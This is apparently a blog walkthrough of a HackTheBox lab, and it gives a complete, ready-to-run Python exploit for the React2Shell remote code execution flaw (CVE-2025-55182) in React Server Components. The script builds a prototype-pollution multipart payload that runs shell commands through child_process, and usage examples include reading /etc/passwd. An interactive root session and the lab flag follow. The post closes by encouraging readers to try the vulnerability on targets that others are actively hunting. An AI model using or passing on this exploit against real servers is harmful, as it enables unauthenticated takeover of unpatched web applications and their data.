Getting React2Shell Vulns Under 1 Minute

Practical script for React2Shell vulnerability, covering CVE-2025-55182 and CVE-2025-66478 fastest interaction.
For overview I already create tweet/PSA notes in here:
And now for an open labs we’re going to use “HackTheBox ReactOOPS”

Target:
http://94.237.49.209:50005/
Since we already know it’s vuln, we can just fire-up our tools:
#!/usr/bin/env python3 """ React2Shell Exploit for covering CVE-2025-55182 """
import requests import sys import argparse import re import json import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def create_multipart_body(command):
"""
Generate the exact multipart payload that matches the working PoC
"""
injection = (
f"var res=process.mainModule.require('child_process')"
f".execSync('{command}',{{'timeout':5000}}).toString(). trim();;"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
)
payload_json = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\\"then\\\":\\\"$B1337\\\"}",
"_response": {
"_prefix": injection,
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
})
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"0\"\r\n"
f"\r\n"
f"{payload_json}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"1\"\r\n"
f"\r\n"
f"\"$@0\"\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"2\"\r\n"
f"\r\n"
f"[]\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
return body, boundary
def extract_output(response_text):
"""
Extract command output from RSC response
The output appears in format: 1:E{"digest":"OUTPUT_HERE"}
"""
patterns = [
r'1:E\{"digest":"([^"]*)"\}',
r'"digest":"([^"]*)"',
r'"digest":`([^`]*)`',
r'E\{"digest":"([^"]*)"\}',
]
for pattern in patterns:
match = re. search(pattern, response_text)
if match:
output = match.group(1)
output = output.replace('\\n', '\n')
output = output.replace('\\t', '\t')
output = output.replace('\\r', '\r')
return output
return None
def exploit(target, command, proxy=None, verbose=False):
"""Execute the exploit"""
url = target. rstrip('/')
body, boundary = create_multipart_body(command)
headers = {
"User-Agent": "Mozilla/5. 0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0. 0",
"Next-Action": "x",
"X-Nextjs-Request-Id": "b5dce965",
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
"Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
}
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
if verbose:
print(f"[DEBUG] Sending request to {url}")
print(f"[DEBUG] Command: {command}")
response = requests.post(
url,
data=body,
headers=headers,
proxies=proxies,
verify=False,
timeout=15
)
if verbose:
print(f"[DEBUG] Status: {response.status_code}")
print(f"[DEBUG] Response:\n{response.text[:500]}")
output = extract_output(response.text)
if output:
return True, output
else:
return False, f"Could not parse output. Raw response:\n{response.text}"
except requests.exceptions.Timeout:
return False, "Request timed out (command may still have executed)"
except Exception as e:
return False, str(e)
def main():
parser = argparse.ArgumentParser(
description='React2Shell Exploit - CVE-2025-55182',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples: python3 CVE-2025-55182.py -t https://dev.target.local -c "id" python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd" python3 CVE-2025-55182.py -t https://dev.target.local -i python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v
"""
)
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', default='id', help='Command to execute')
parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
usage: CVE-2025-55182.py [-h] -t TARGET [-c COMMAND] [-p PROXY] [-i] [-v]
React2Shell Exploit: CVE-2025-55182
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL
-c, --command COMMAND
Command to execute
-p, --proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
-i, --interactive Interactive mode
-v, --verbose Verbose output
Let’s try with our target:

We got RCE,

And we got into the system with just one interactive command and better TTY experience.
<details> <summary>Click to view text output</summary>react2shell> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
react2shell> pwd
/app/.next/standalone
react2shell> ls -al
total 32
drwxr-xr-x 1 root root 4096 Dec 5 14:40 .
drwxr-xr-x 1 root root 4096 Dec 5 14:40 ..
drwxr-xr-x 1 root root 4096 Dec 5 14:40 .next
drwxr-xr-x 13 root root 4096 Dec 5 14:40 node_modules
-rw-r--r-- 1 root root 558 Dec 5 14:40 package.json
drwxr-xr-x 2 root root 4096 Dec 5 14:40 public
-rw-r--r-- 1 root root 6331 Dec 5 14:40 server.js
react2shell> find / -name “*.txt”
/usr/local/lib/node_modules/npm/node_modules/wrap-ansi/node_modules/emoji-regex/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/@isaacs/cliui/LICENSE.txt
/usr/local/lib/node_modules/npm/node_modules/@isaacs/cliui/node_modules/emoji-regex/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/cssesc/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/signal-exit/LICENSE.txt
/usr/local/lib/node_modules/npm/node_modules/emoji-regex/LICENSE-MIT.txt
/app/flag.txt
/app/node_modules/typescript/LICENSE.txt
/app/node_modules/typescript/ThirdPartyNoticeText.txt
/app/node_modules/baseline-browser-mapping/LICENSE.txt
/app/node_modules/axe-core/LICENSE-3RD-PARTY.txt
/app/node_modules/esquery/license.txt
/app/node_modules/tslib/LICENSE.txt
/app/node_modules/tslib/CopyrightNotice.txt
/app/node_modules/cssesc/LICENSE-MIT.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/load.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/stream.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/fetch.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/crypto.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/url.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/index.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/abort-controller.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/events.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/timers.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/console.js.LEGAL.txt
/app/node_modules/jsesc/LICENSE-MIT.txt
/app/node_modules/punycode/LICENSE-MIT.txt
/app/node_modules/string.prototype.repeat/LICENSE-MIT.txt
/app/node_modules/emoji-regex/LICENSE-MIT.txt
react2shell> cat /app/flag.txt
HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
react2shell>
</details>
And we get our flag.
You can try the vulns, it’s actively being hunted by others bug hunter, for example Vercel and others:
Goodluck.
Hope you guys like it happy hacking!